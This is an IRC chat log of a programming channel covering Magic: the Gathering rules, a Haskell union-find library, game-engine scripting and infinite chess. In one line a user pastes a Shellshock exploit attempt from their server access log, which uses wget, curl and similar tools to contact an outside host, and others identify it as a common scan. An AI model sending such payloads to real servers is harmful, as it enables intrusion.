00:06:32 Hmm. If you interpret the rules excessively literally, an Aura with "Enchant player" can't be played. 00:06:55 They say: "Auras that can enchant a player can target and be attached to players." But they don't say that if an Aura has "Enchant player", then it can enchant a player. 00:07:16 But wait, maybe that's not true. 00:07:42 Maybe there's something else implying that an Aura can enchant a player unless it has an ability saying it can't. 00:10:04 I notice that some keyword abilities have specific meanings and others don't. "Flash" has a defined meaning. "Flying" doesn't have any particular meaning; instead, the rules check whether or not something has flying and behaves differently depending. 00:12:54 -!- jaboja has quit (Ping timeout: 260 seconds). 00:13:53 "Hexproof" has a meaning when it's on a permanent (or a player), but not when it's on a non-permanent card. Presumably it just doesn't do anything at all on non-permanent cards. 00:15:44 Oddly, "Indestructible" does not mean "This permanent can't be destroyed." Instead, the rules state that "A permanent with indestructible can't be destroyed." 00:15:52 I don't know why they don't just give it that defined meaning. 00:21:19 -!- mauris has quit (Read error: Connection reset by peer). 00:22:49 -!- mauris has joined. 00:26:26 Y'know, if they were to make a card with no characteristics, I think its behavior would be pretty straightforward. 00:26:51 It has no type. It's not a land and it's not a spell. It can't be played. It's colorless and its converted mana cost is 0. 00:29:28 "We will be down for one hour this Saturday night (early Sunday morning), during the Daylight Savings Time rollback, for routine database maintenance and for investigating a hardware issue on a file server. We'll start at Sun Nov 1, 12:59 am Eastern Daylight Time, and end an hour later around 1:01 am Eastern Standard Time. " 00:29:46 So, chance of it's that vs. "We're scared of daylight time changes"? 00:30:18 Also saw malicious ad on Fark 00:34:00 I wonder if they tested DST stuff. 00:35:48 <\oren\> wait DST changes on halloween? spooky 00:44:01 -!- variable has joined. 00:47:20 -!- llue has joined. 00:47:20 -!- llue has quit (Changing host). 00:47:20 -!- llue has joined. 00:48:50 -!- lleu has quit (Read error: Connection reset by peer). 00:51:27 -!- Phantom_Hoover has quit (Ping timeout: 268 seconds). 01:01:34 -!- llue has quit (Quit: That's what she said). 01:09:33 -!- Wright has quit (Ping timeout: 265 seconds). 01:15:46 -!- bender| has joined. 01:18:39 -!- bender| has changed nick to bender. 01:37:12 <\oren\> `wisdom 01:37:21 native/The natives are restless, also armed with sed. 01:37:28 <\oren\> `wisdom 01:37:29 partial order/A partial order is just a small thin skeletal category. 01:37:36 <\oren\> `wisdom 01:37:38 grue/grue is the colour of the trees and the ocean 01:37:42 <\oren\> `wisdom 01:37:43 newline/Newlines are le/rn's \ biggest weakness. 01:37:52 <\oren\> `wisdom 01:37:54 godot/cf. elliott 01:37:58 <\oren\> `wisdom 01:38:00 flower/flower. what IS a flower? 02:16:20 For some reason I'm implementing Magic in C#. 02:17:00 `? dome 02:17:01 dome? ¯\(°​_o)/¯ 02:17:36 I remember defining something and I can't remember what it was called... 02:17:46 If only boily was online... 02:17:56 `culprits^(-1) hppavilion[1] 02:17:57 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: culprits^(-1): not found 02:18:09 Eh, HackEgo doesn't implement command inversion? 02:18:16 Dammit 02:18:18 Stupid cut-rate bot. 02:18:30 I'm so angry that I'm going to turn autowelcome off. 02:18:32 `autowelcome off 02:18:33 Autowelcome disabled. 02:18:38 I would think that a card with no type should be playable similar to a global enchantment or artifact, which seems a more logical way to me. The rules don't say this though 02:18:44 And we can't add it, AFAIK, because of file name constraints 02:19:13 We can. Linux has almost no filename constraints. 02:19:23 Oh. Excellent 02:19:24 A filename can't contain a null or a forward slash. I think that's it. 02:19:25 You do that. 02:19:32 `? mapole 02:19:33 I mean, there's likely a maximum length. 02:19:33 A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg. 02:20:31 zzo38: well, the rules give a mechanism for playing lands, and a mechanism for playing spells, but not a mechanism for playing non-land non-spells. 02:20:42 I suppose you could argue that since it's a land, it's a spell even though it doesn't have a spell type. 02:21:09 In that case, it's still uncastable, not because it doesn't have a spell type, but because it doesn't have a mana cost, and spells without mana costs are uncastable. 02:21:19 [wiki] [[User:Hppavilion1/Mapole]] N http://esolangs.org/w/index.php?oldid=45027 * Hppavilion1 * (+437) Created page as part of Hedwig Notta series 02:21:54 -!- doesthiswork has joined. 02:23:05 [wiki] [[User:Hppavilion1/Any Valid ASCII]] N http://esolangs.org/w/index.php?oldid=45028 * Hppavilion1 * (+234) Created Page for later 02:23:16 -!- J_Arcane has joined. 02:23:57 Any given ability is static, activated, or triggered, but not more than one of these, right? 02:24:03 So for my 2D RPG engine, I'm trying to decide on some features 02:24:26 Should the map scripting language be Lua or Python? 02:25:24 Or I could do both, and even maybe throw in an extra custom language 02:26:55 Should it be possible for a map script to perform arbitrary actions on the player's computer? 02:26:58 If not, go with Lua. 02:27:50 tswett: Oh right xD 02:27:56 Definitely Lua then 02:28:20 Do I have to implement my own Lua, or would PyLua (or whatever) be safe? 02:29:16 You certainly shouldn't have to implement your own Lua. 02:29:28 I don't know if PyLua or whatever would be safe; check the documentation. 02:34:24 I think I might also implement Minecraft-esque redstone-and-command-blocks 02:52:43 By the way, I've improved the autowelcome tracking script. It should now accurately reflect the actual autowelcome status 100% of the time. 02:52:45 Observe. 02:52:48 `autowelcome on 02:52:50 Autowelcome enabled. 02:52:52 `autowelcome status 02:52:52 Autowelcome enabled. 02:52:54 `autowelcome off 02:52:56 Autowelcome disabled. 02:52:57 `autowelcome status 02:52:58 Autowelcome disabled. 02:53:02 Impressive, ain't it? 02:56:26 Yes. 02:56:44 You managed to save a boolean to file and toggle it. I am in awe. 02:56:46 xD 03:09:10 -!- oerjan has joined. 03:09:34 tswett: Yes it is still uncastable if it has no mana cost anyways. A land cannot be cast as a spell but other card can be 03:15:07 hppavilion[1]: Maybe the map scripting language should be SQL, and then many thing having to do with save game file you do not need to worry about it can do automatically instead. 03:15:44 zzo38: Perhaps, but that leads to the problem of SQL not being very easy to use for scripting. 03:15:49 I might use some SQL though 03:16:17 (SQL isn't even TC, barring miracles) 03:16:37 SQLite support authorizer callback and you can define limits, in order to avoid to mess up the computer with it. 03:16:49 ("Miracles" including things like the fact that SKI and TMs are TC) 03:17:19 And, SQL is even TC if you use a recursive WITH clause; you can (and should) also define your own functions too, one which are specific to use in this case; also with virtual table can also be done define your own to be specific for this use 03:18:24 Huh 03:18:53 The RPG engine is inspired heavily by Minecraft and possibly Terraria (never played it). 03:19:04 But it's designed specifically for maps to be made in it 03:20:04 Should I make chunks (which are squares) 8*8 or 16*16 03:20:06 ? 03:21:33 I'm going with 8*8 03:40:20 -!- nitrix has changed nick to nitrix-or-treat. 03:44:38 Woohoo, my Magic implementation builds successfully. 03:45:18 I've successfully implemented land. 03:45:49 Land automatically checks its own subtypes to determine what kind of mana it can produce implicitly. 03:46:01 Now, there's no way to USE it. 03:46:13 It has an activated ability, with a defined activation cost and resolution effect. 03:46:25 But there's no way to actually activate the ability. 03:46:30 Or to play the land. 03:46:35 Or to begin a game in the first place. 03:46:50 I mean, there's no user interface at all. 03:47:48 I guess my first milestone here will be to implement Forest Magic. 03:49:08 The subset of Magic: the Gathering that you end up with when the only legal card is Forest. 03:49:26 Under older rules, it would have been possible to win this game without your opponent conceding. 03:49:38 Simply convince them to play Forests and tap them for mana a total of 20 times. 03:52:12 No, wait, you can still win without your opponent conceding in the current rules. 03:53:11 The optimal strategy is to mulligan down to zero, then do whatever the hell you want. Whoever has the smaller library loses. In the event of a tie, the player on the draw loses. 04:04:32 -!- ^v has joined. 04:10:00 -!- doesthiswork has quit (Quit: Leaving.). 04:19:04 -!- doesthiswork has joined. 04:29:52 -!- JesseH has quit (Remote host closed the connection). 04:37:50 -!- newsham has quit (Quit: Changing server). 04:39:08 -!- newsham has joined. 04:47:38 -!- Sprocklem has quit (Ping timeout: 240 seconds). 04:48:55 -!- hppavilion[2] has joined. 04:51:42 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 04:52:36 -!- jaboja has joined. 05:04:51 -!- jaboja64 has joined. 05:05:41 -!- jaboja has quit (Disconnected by services). 05:05:59 -!- jaboja64 has changed nick to jaboja. 05:26:58 If this hour has 22 minutes, then this day has 25 hours. 05:32:09 if 1=2, then bertrand russell is the pope 05:35:59 If 1+1=3, then 1+1=2 05:41:14 > let 1+1=3 in 1+1 05:41:17 3 05:43:12 -!- doesthiswork has quit (Quit: Leaving.). 05:43:59 -!- jaboja has quit (Ping timeout: 264 seconds). 05:54:47 -!- lleu has joined. 06:01:29 -!- ^v has quit (Ping timeout: 265 seconds). 06:05:20 -!- lleu has quit (Quit: That's what she said). 06:06:13 -!- copumpkin has quit (Read error: Connection reset by peer). 06:06:14 -!- TodPunk has quit (Read error: Connection reset by peer). 06:06:40 -!- TodPunk has joined. 06:07:40 -!- copumpkin has joined. 06:29:28 -!- zadock has joined. 06:30:49 -!- zadock has quit (Remote host closed the connection). 06:47:45 -!- Sprocklem has joined. 06:53:01 -!- bender has quit (Ping timeout: 246 seconds). 07:06:34 > Identity 1 07:06:36 Identity 1 07:07:44 oh it leaves out just the field 07:13:58 what leaves out what? 07:21:36 the Show instance for Identity 07:21:58 @src Identity 07:21:58 newtype Identity a = Identity { runIdentity :: a } 07:22:02 wow it worked 07:24:47 -!- variable has quit (Quit: 1 found in /dev/zero). 07:26:08 i think Identity used to have a Show instance that showed the whole thing 07:26:21 or maybe it went straight from no instance to the simple instance 07:26:36 i hope Either never gets a verbose instance like that 07:26:40 that would really come out of Left field 07:38:57 i don't think Either has field names. seeing as ... ... ... 07:39:26 * oerjan connects the swatter to a fan, points at shachaf and starts it -----### 07:39:54 * oerjan turns off again 08:10:07 -!- bb010g has quit (Quit: Connection closed for inactivity). 08:23:29 * pikhq waves "hi" from Switzerland 08:25:37 -!- GoToTell has joined. 08:28:53 pikhq: what are you doing in Switzerland 08:29:38 Getting paid to be here. 08:29:50 Ah 08:29:54 That explains it 08:30:08 Meanwhile, I seem to be helping to run a small hackathon today 08:30:27 For people from Edinburgh 08:30:30 In York 08:30:50 that sounds a little displaced 08:32:35 Yes 08:32:42 We invited people from other places too 08:32:49 But only the Edinburgh people showed up 08:32:52 I am going to blame Ph 08:32:55 antom 08:32:56 _ 08:32:57 Hoo 08:32:58 ver 08:33:12 Who didn't tab complete so I panicked 08:37:36 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 08:38:47 -!- AnotherTest has joined. 08:40:02 your panics seem to be escalating tdnh 08:45:35 Ugh, I'm probably going to crash super soon and have some weird, weird sleep schedule going on. 08:45:53 [wiki] [[Talk:Hcbf]] http://esolangs.org/w/index.php?diff=45029&oldid=34166 * Rdebath * (+2237) It was a good idea. 10:05:02 -!- Phantom_Hoover has joined. 11:11:16 -!- jaboja has joined. 11:19:34 -!- Patashu has quit (Remote host closed the connection). 11:20:00 -!- Patashu has joined. 11:28:54 -!- bender has joined. 11:48:38 -!- evalj has joined. 12:06:42 hello 12:06:51 Hi! 12:08:34 -!- Patashu has quit (Ping timeout: 268 seconds). 12:09:39 tanello 12:20:18 -!- oerjan has quit (Quit: leaving). 12:23:29 helluel world 12:23:41 I've written a small Haskell library for disjoint sets (union-find) 12:24:18 yay another one :) 12:24:33 Taneb: Phantom_Hoover is available for tab-completion now 12:24:40 Phantom_Hoover: I'm blaming you 12:25:36 int-e: I think it does things a little differently than the others 12:25:39 Probably worse 12:26:41 Taneb: I can't blame you. I'm the author of one of union-find union-find-array equivalence disjoint-set persistent-equivalence data-partition (that's what I found by a quick search on hackage) 12:27:03 pikhq: do they pay you to be in Switzerland or just to not be wherever you were before? 12:27:51 int-e: I do it by being awful and unsafe, with a vector! 12:28:45 you should call it awful-unsafe-disjoint-sets 12:29:25 (it's one of these data structures with lots of little knobs for tuning... do you annotate nodes? Do you want to keep track of the whole equivalence classes or not? Do you want a mutable version or a persistent one, or perhaps a mutable version with undo capabilities?) 12:31:11 http://arin.ga/IQe0wC 12:31:25 And in the ende it's tremendously easy to implement (though I'm sure that there are a couple of pitfalls). 12:32:27 (that was a link to the module I was talking about) 12:32:29 hmm, union uses unsafePerformIO, *unsafe*Union does not 12:33:31 olsner: yes 12:33:49 unsafeUnion can mess with with pure code 12:33:54 union works on a copy 12:34:39 without reading too carefully, if it used ST or something it might actually be pure and safe? 12:34:49 MAYBE 12:34:59 Taneb, what'd i do this time 12:35:13 no, not really, at least not in conjunction with union 12:35:18 Phantom_Hoover: you weren't around last time I tried to blame you, and you didn't tab-complete 12:35:44 olsner: I believe it's impossible to observe impure behaviour with newDisjointSet, union, and find 12:36:15 how were the edinburgh people 12:36:23 They are STILL HERE 12:36:33 morally, the M.IOVector DSP is an immutable vector... and unsafeUnion does an unsafeThaw (not sure what's that called for vectors?). 12:37:08 how are the edinburgh people 12:37:18 Phantom_Hoover: they say "woo" 12:37:19 (assuming that the path compression is not observable) 12:37:30 Phantom_Hoover: apparently they are hungry 12:37:52 is there a haggis shop nearby 12:38:17 I don't think so 12:38:35 ok, just deep-fry the contents of your fridge then 12:39:05 and that's an interesting question... if several calls to 'find' run concurrently, can they mess up the data structure, one ending up linking a in top of a node b and the other one trying the reverse? 12:39:38 Taneb: I think I rather just meant "without unsafePerformIO" 12:40:00 (with runST instead, which is pretty much the same thing with a different type, as I understand things) 12:40:48 olsner: hmm, maybe 12:41:53 or, easier, what if a call to union 1 2 ds and union 2 1 ds run in parallel, with nodes 1 and 2 of the same rank? the first call will link 1 to 2; the second will link 2 to 1, if the calls are perfectly interleaved. 12:42:38 i like how the haskell wiki's syntax higlighting doesn't correctly parse ' 12:43:08 err, but the array is copied 12:43:24 I really need to poke a hole into the path compression if I want to break this code. 12:45:00 eh what? 12:45:30 oh, that kind of union 12:45:34 And I don't think that's possible. 12:45:38 I think I have non-haskell code for that, in like three languages 12:45:46 wait 12:46:18 oh huh 12:46:33 http://www.perlmonks.com/?node_id=764894 a maze generator that uses that kind of thing, I think 12:46:33 'parametrise' is british english, 'parameterize' is american? 12:46:51 which is in perl, but it's translated from an old program I wrote in C, and I later translated it from perl to ploki 12:46:58 Phantom_Hoover: yes, British English authorities (other than OED) tend to prefer -ise 12:47:01 yes, maze generators are the cutest application for disjoint set forests that I know of. 12:47:12 int-e: that was my intention for this afternoon 12:47:20 Taneb, look closer 12:47:30 Phantom_Hoover: oooh 12:47:46 What 12:49:09 i always spelt it parametrise, i was starting to think i'd been getting it wrong 12:49:54 I'd spell it parametrize. 12:50:36 Taneb: Ok, so my conclusion is that you're right: The pure interface is fine. But besides interacting with the pure interface, unsafeUnion also has a problem with concurrency. 12:51:17 If only I knew someone who could test concurrent code 12:51:18 Oh wait 12:51:36 I'm in the room with someone who did a talk on that at Haskell Symposium 12:52:37 https://www.youtube.com/watch?v=84NwnSltHFo waaa 12:53:31 Taneb: I'm sure that my example (merging two nodes of the same rank both ways) works in principle... but triggering it may be quite tedious. 12:58:00 izabera: why waaa? 12:58:28 it's the first time i've been asked that 12:58:35 i don't know 12:58:36 -!- jaboja has quit (Remote host closed the connection). 12:58:46 half fangirling, half shocked 12:59:29 why do you make me think about things 12:59:33 my brain hurts 13:00:58 I'd say I'm sorry, but it would be a lie. 13:03:11 Shouldn't that sort of utterances have some ~s or something. 13:04:25 izabera: wow 13:05:47 Taneb: why wow 13:05:56 * izabera plans her revenge 13:05:59 izabera: it's impressive seeing people that good at chess 13:06:03 D: 13:06:05 I was wowing the video, not you 13:06:08 that's an actual good answer D: 13:06:15 dammit 13:06:32 i should travel back in time and answer that to int-e 13:06:49 btw, do you know how many people use your pastebin? I find it quite handy 13:07:02 you can really see that high-level chess is mostly about recall 13:07:06 dunno but i can check the logs 13:07:21 what's this pastebin 13:07:25 Phantom_Hoover: s/chess/everything/ 13:07:44 http://arin.ga/ 13:07:45 Hmm, I did interpret "waaa" as an expression of dismay. 13:08:03 so that was wrong. 13:10:18 izabera@amazon ~ $ awk '/GET/ { a[$1]++ } END { print length(a) }' /var/log/httpd/access_log* 13:10:20 933 13:10:22 izabera@amazon ~ $ awk '/POST/ { a[$1]++ } END { print length(a) }' /var/log/httpd/access_log* 13:10:24 58 13:10:53 Phantom_Hoover: I'm not sure that's fair. You also have to play well after the first novelty of the game... see attack patterns that appear on the board 3 moves away... 13:10:53 since august 13:11:12 what's $1 there? 13:11:18 the ip 13:12:02 int-e, i admit to having only received opinions on chess 13:12:14 is that a lot? 13:12:38 * izabera labels it as large scale 13:13:57 hmm my awk doesn't like that code... 13:14:10 length(array) works in gawk 13:14:21 actually... never mind. 13:15:12 if pro chess is anything like pro rubiks cube, then it's all pattern recognition 13:16:07 well the rubik's cube isn't fighting back 13:16:20 * Taneb has just paied £211.45 for pizza 13:16:25 though you could do competitive cubing, where the one who finishes wins... 13:16:37 there are competitions 13:16:49 no i mean competitive iterated cubing 13:16:58 elaborate 13:17:10 i twist the cube, you twist the cube 13:17:20 whoever twists it so it's solved wins 13:17:38 mmh 13:17:41 kind of unfair 13:17:42 probably would just be a deadlock though 13:18:04 the problem is that there's no winning strategy for one of them 13:18:15 -!- idris-bot has quit (Ping timeout: 268 seconds). 13:18:30 isn't the same true of chess 13:18:34 no 13:18:45 if you use an odd number of moves to scramble the cube, it takes an odd number of moves to solve it 13:18:58 one of them has literally no chance of winning 13:19:09 -!- Melvar has quit (Ping timeout: 252 seconds). 13:19:14 izabera: no, neither has a chance to winning 13:19:17 it's an infinite loop 13:19:24 nobody will turn the cube to one turn from the solved state 13:19:31 well sure 13:19:40 b_jonas: one of them can win if the other is an idiot 13:19:47 Taneb: yeah... 13:19:54 if you use an odd number of moves to scramble the cube, it takes an odd number of moves to solve it 13:19:56 wait really? 13:19:59 yes 13:20:44 fine, you can do 180 degree twists if you want to 13:20:56 ok 13:21:05 then, what b_jonas said 13:21:10 so many proxy tests... 13:21:39 oh well 13:21:49 did you read that recent article about infinite chess ordinals 13:22:01 i guess it'd be more fun if you allow each player X number of moves 13:22:22 Phantom_Hoover: of course 13:22:29 let's say 10 moves so you can get to a non trivially close state 13:23:12 cute... "GET /cgi-bin/index.cgi HTTP/1.1" 404 386 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.testvc.it/TESTONLY; curl -O /dev/null http://www.testvc.it/TESTONLY; fetch http://www.testvc.it/TESTONLY; GET http://www.testvc.it/TESTONLY; lwp-download http://www.testvc.it/TESTONLY; lynx http://www.testvc.it/TESTONLY\");'" 13:23:30 Phantom_Hoover: http://mathoverflow.net/a/122250/35417 13:23:55 -!- Melvar has joined. 13:24:16 izabera: yes, the bash poisioning bug. very popular in http logs these days. 13:24:20 i still don't entirely understand this one: http://jdh.hamkins.org/wp-content/uploads/2013/02/Value-omega-squared.jpg 13:24:20 int-e: what is that 13:24:31 b_jonas: sorry what? 13:24:50 b_jonas, i think you meant int-e 13:24:53 oh it's a shellshock test? 13:25:24 izabera: yes 13:25:34 the internet is full of those now 13:25:34 izabera: somebody trying to exploit a badly written cgi script... which doesn't exist, but never mind that. 13:25:35 i guess i should check for something like that in my logs 13:25:36 no wonder 13:25:59 anyway i don't see how the rook/king arrangement on the right allows black to delay for an unbounded finite amount of time 13:26:14 I don't think I have cgi enabled on that host 13:26:18 int-e: people were always trying to exploit non-existing scripts. including wordpress and other buggy software. 13:26:36 int-e: sure, but an attacker can't tell that easily. 13:27:01 Oh I know, I'm just amused. 13:27:35 I have such urls in my webserver log too. 13:27:38 If I wanted to scan hosts for vulnerabilities I would probably do it the same way... there's no harm in causing 404 errors. 13:28:49 if black can just keep checking the white king then the game can go on indefinitely 13:29:04 Phantom_Hoover: nope! 13:29:12 ok but why not 13:29:21 (modern) chess is guaranteed to terminate thanks to some rules about tying 13:29:36 50 moves without a piece being taken or a pawn moving is a tie 13:29:43 yes but this is infinite chess 13:29:51 those rules are (presumably) being ignored 13:29:51 ? 13:29:59 oh right ok http://jdh.hamkins.org/tag/infinite-chess/ 13:30:11 i forgot only b_jonas seemed familiar 13:30:37 what 13:31:54 -!- J_Arcane has quit (Ping timeout: 255 seconds). 13:36:54 ok, i see now 13:37:26 I've made an almost identical version of my disjoint set library, except it uses ST 13:56:36 -!- mauris has quit (Ping timeout: 265 seconds). 14:07:39 -!- J_Arcane has joined. 14:07:59 Hi, fungot! Do you like pizza? 14:07:59 Taneb: purpose: set cursor location ( flo) should be called, the 14:08:13 sure, pizza is great! 14:08:15 I don't think pizza has a cursor function, fungot... 14:08:15 Taneb: a specific way. unfortunately basic isn't fast enough to do rs-232 type things. the formatting must be searched to find a copy of your machine language subroutine located at the end of your equipment. 14:08:41 pizza is a blessing for every English scrabble player since ZA became an acceptible word 14:09:48 fungot: explain "the end of your equipment" please 14:09:48 int-e: by using the not is determined by the open routine can be added by the memory of your machine language 14:10:17 mystifying 14:10:30 Traditional Chinese culture is even more of a blessing to English scrabble players since QI became an acceptible word, mind you 14:11:45 fungot: Are you written in machine language? 14:11:45 fizzie: the file-name already exists, the 14:12:00 fungot: Just say yes or no. 14:12:01 fizzie: chip register 24 ( 18) the program above hits line 120 displays the word displayed will be processed when the function definition will use the tab and spc in- structions either change the memory map of useful locations is 4. 14:12:13 The memory map of useful locations is 4. 14:16:54 fungot, do you write better optimized code than modern compilers? 14:16:54 b_jonas: closing an rs-232 open command may specify a character from the direct audio path. setting bit 5 of the number of double-quote marks ( " 0, so only colors 0-7 may be in either the background, and jump through the various flags or the accumulator 14:17:22 fungot: yes, sounds like a good plan 14:17:22 b_jonas: action: the on statement. in order to create the data bus, the chief function is called, the irq output is a one, the 14:19:30 fungot: how does being memoryless feel anyway? 14:19:30 int-e: bit 6 is set, the low-pass output of voice 3 envelope generator. 14:20:04 Hmm, good answer actually. 14:21:49 Phantom_Hoover: the paper explains that the white king can always move diagonally towards the rook giving check, so it ends after a finite (arbitrarily large) time 14:22:06 yeah 14:23:03 "white aims ultimately to open the portcullis and release the queens into the mating chamber at right." 14:23:23 Yes, it's typical esoteric material 14:23:33 good idea from Phantom_Hoover to bring it up 14:23:44 ugh, who will deal with the princesses and princes? 14:24:23 oh, I read "at night" 14:24:28 it even explicitly considers computability 14:30:59 @botsnack 14:30:59 :) 14:35:08 http://imgur.com/gallery/UsEVPoM you all need to see this 14:36:01 @uptime 14:36:01 uptime: 1m 6d 17h 31m 14s, longest uptime: 1m 10d 23h 44m 29s 14:38:08 > 1 14:38:10 1 14:45:50 `uptime 14:45:55 ​ 14:45:30 up 0 min, 0 users, load average: 0.00, 0.00, 0.00 15:04:35 -!- GoToTell has quit (Quit: HydraIRC -> http://www.hydrairc.com <- Nine out of ten l33t h4x0rz prefer it). 15:44:02 More stuff I got wrong. If a creature is destroyed while it has a damage-dealing ability on the stack, it deals the damage anyway. If something "costs (1) more to cast", and you "cast it without paying its mana cost", then you pay (1) to do so. 15:44:46 112.7a, 608.2g, 601.2f, 702.74. 15:47:50 [wiki] [[TeaScript]] http://esolangs.org/w/index.php?diff=45030&oldid=44923 * Vihan * (-92) /* Removing periods */ 15:53:31 -!- mauris has joined. 15:53:41 -!- Wright has joined. 16:25:59 -!- bender has quit (Ping timeout: 240 seconds). 16:27:02 The additional costing (1) more is not part of its mana cost 16:27:18 (Unless something explicitly changes the mana cost, I suppose.) 16:28:09 -!- JesseH has joined. 16:37:52 -!- doesthiswork has joined. 16:40:09 zzo38: I don't think anything changes mana costs by adding or reducing it. Mana costs can be changed by copy effects, object being face down, permanents being transformed, split spells on the stack. None of these can change mana costs to anything but what's already printed to some card, 16:42:33 so I believe you can never make an object with arbitrarily large mana cost, nor with a mana cost of exactly {GUU} for example. 16:42:42 no wait, GUU is possible 16:42:48 I mean {GGU} 16:43:23 and I think you can't have a permanent with the mana cost {GUU} either 16:47:38 ah great 16:48:30 <\oren\> can you have a card with cost X and "Pay this card's mana cost using only blue and green mana in a 1:2 ratio." 16:49:53 <\oren\> I know there's a myr that says to cast it using only mana produced by creatures 16:49:59 I don't think there is anything like that, although it would probably be possible; but then it has to be multiple of three (including possibly zero) 16:51:05 -!- ent0nces has joined. 16:55:08 \oren\: no, but there's some card with "Pay X with black mana only" or some such ability 16:55:40 (Probably only for black. I can't imagine anything other than black or green insisting on that.) 16:56:03 It's Consume Spirit, and the phrasing is "Spend only black mana on X." 16:56:06 [wiki] [[Talk:///]] http://esolangs.org/w/index.php?diff=45031&oldid=35475 * 24.16.138.191 * (+449) /* Clarifying the specs */ 16:56:15 how that works if you reduce the cost I'm not sure 16:56:36 oh, it's older than that 16:56:39 Drain Life, from alpha 16:57:40 and I was wrong, it exists in other colors too: Atalya, Samite Master says "Spend only white mana on X." 16:58:25 it exists for red too, and "only colored mana", and "only black and/or red mana", but not in green 16:59:05 \oren\: Taste of Paradise requires you to spend an additional {1}{G} any number of times. does that count? 16:59:16 it doesn't use {X} 16:59:20 or X 17:03:39 \oren\: I might phrase that by giving it a mana cost of XXX and saying "Pay XX with green mana only, and pay the remaining X with blue mana only." 17:03:45 -!- Melvar` has joined. 17:04:10 -!- idris-bot has joined. 17:04:36 tswett: it's usually easier to just say "Multikicker {GGU}" or "You may pay an additional {GGU} any number of times." 17:05:00 Yeah, probably a good idea. 17:05:44 How about "As you cast this spell, you may pay its mana cost any nonzero number of times"? Mm, Multikicker is probably easier. 17:05:49 tswett: or whatever that new keyword is that requires to pay an additional cost for each target other than the first 17:05:52 what's that one called? 17:05:58 -!- Melvar has quit (Ping timeout: 240 seconds). 17:06:13 I should know this. 17:06:24 Yes, just using multikicker. 17:06:33 Strive, and it's an ability word 17:06:57 as in on Kiora's Dismissal 17:07:20 Nature's Panoply has {2G} as the strive cost 17:07:32 Ah. In that case, I shouldn't have known that. 17:07:37 <\oren\> hmm i see. 17:08:15 Ooh, and don't orget Replicate. 17:09:01 <\oren\> I was thinking what if I made a deck with blue and green but not in a 1:1 ratio 17:09:10 You can only strive up to the number of legal targets, though. 17:09:37 Rule 613.1 does not list effects changing the mana cost (although there currently are no such effects anyways) 17:13:50 -!- perrier__ has quit (Remote host closed the connection). 17:15:15 -!- perrier has joined. 17:15:42 -!- Melvar has joined. 17:17:50 -!- idris-bot has quit (Ping timeout: 260 seconds). 17:18:13 -!- Melvar` has quit (Ping timeout: 252 seconds). 17:22:30 -!- ent0nces_ has joined. 17:24:31 [wiki] [[Talk:///]] http://esolangs.org/w/index.php?diff=45032&oldid=45031 * Tanner Swett * (+445) /* Clarifying the specs */ Response 17:25:32 -!- ent0nces has quit (Ping timeout: 268 seconds). 17:33:03 -!- boily has joined. 17:38:46 -!- J_Arcane has quit (Ping timeout: 246 seconds). 17:43:24 -!- atrapado has joined. 17:51:13 [wiki] [[Talk:Headache]] http://esolangs.org/w/index.php?diff=45033&oldid=44644 * Rdebath * (+192) /* Addition */ 17:51:35 [wiki] [[Headache]] http://esolangs.org/w/index.php?diff=45034&oldid=34688 * Rdebath * (+318) Conversion of brainfuck to headache 17:55:42 -!- bb010g has joined. 18:11:00 -!- lleu has joined. 18:11:00 -!- lleu has quit (Changing host). 18:11:00 -!- lleu has joined. 18:12:51 -!- ent0nces_ has quit (Ping timeout: 252 seconds). 18:15:09 -!- gniourf has quit (Read error: Connection reset by peer). 18:15:18 -!- gniourf has joined. 18:25:24 -!- ent0nces has joined. 18:28:21 -!- ent0nces_ has joined. 18:28:32 -!- oerjan has joined. 18:29:40 -!- ent0nces has quit (Ping timeout: 250 seconds). 18:35:44 -!- Wright has quit (Ping timeout: 250 seconds). 18:37:57 -!- ent0nces has joined. 18:40:42 -!- ent0nces_ has quit (Ping timeout: 244 seconds). 18:44:47 -!- atehwa has joined. 19:09:29 huh stackoverflow actually logged me out 19:09:41 i think that hasn't happened in over a year 19:10:33 -!- JesseH has quit (Read error: Connection reset by peer). 19:34:44 -!- hppavilion[2] has joined. 19:35:12 -!- hppavilion[2] has quit (Client Quit). 19:36:22 -!- JesseH has joined. 19:49:35 @massages-loud 19:49:35 You don't have any messages 19:53:01 -!- Wright has joined. 20:10:16 -!- boily has quit (Quit: BIDIRECTIONAL CHICKEN). 20:11:25 -!- Patashu has joined. 20:15:46 -!- ent0nces has quit. 20:28:52 https://www.codeeval.com/open_challenges/44/ my solution is scoring 67%, can you help me find what's wrong? http://arin.ga/KEd0BX/raw 20:43:54 -!- Patashu has quit (Ping timeout: 255 seconds). 20:45:51 izabera: 132 should result in 213 not 312 21:04:57 -!- atrapado has quit (Quit: Leaving). 21:20:24 Do you know why this program does not work? http://wiki.nesdev.com/w/index.php/User:Zzo38/Famicom_Z-machine 21:20:34 Can you find the mistake? 21:48:57 -!- aretecode has joined. 21:53:25 -!- hppavilion[1] has joined. 21:54:08 -!- J_Arcane has joined. 21:54:18 [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45035&oldid=44874 * Bexandre * (+113) 21:59:12 -!- Melvar` has joined. 21:59:19 -!- idris-bot has joined. 22:01:18 -!- Melvar has quit (Ping timeout: 255 seconds). 22:02:27 [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45036&oldid=45024 * Bexandre * (+6) 22:13:55 thanks int-e 22:15:52 @tell boily you always leave just a scant few hours before i arrive. and you never have any massages. 22:15:52 Consider it noted. 22:32:16 Whoops. I'm representing the creature types of an object as a HashSet. That's not going to work with Changelings. 22:34:08 Treating a Changeling as if it had "Advisor Ally Angel Antelope Ape Archer Archon Artificer Assassin Assembly-Worker Atog Aurochs Avatar Badger Barbarian Basilisk Bat Bear Beast Beeble Berserker Bird Blinkmoth Boar Bringer Brushwagg Camarid Camel Caribou Carrier Cat Centaur Cephalid Chimera Citizen Cleric Cockatrice Construct Coward Crab Crocodile Cyclops Dauthi Demon Deserter Devil Djinn Dragon Drake Dreadnought Drone Druid Dryad Dwarf Efreet Elder 22:34:08 Eldrazi Elemental Elephant Elf Elk Eye Faerie Ferret Fish Flagbearer Fox Frog Fungus Gargoyle Germ 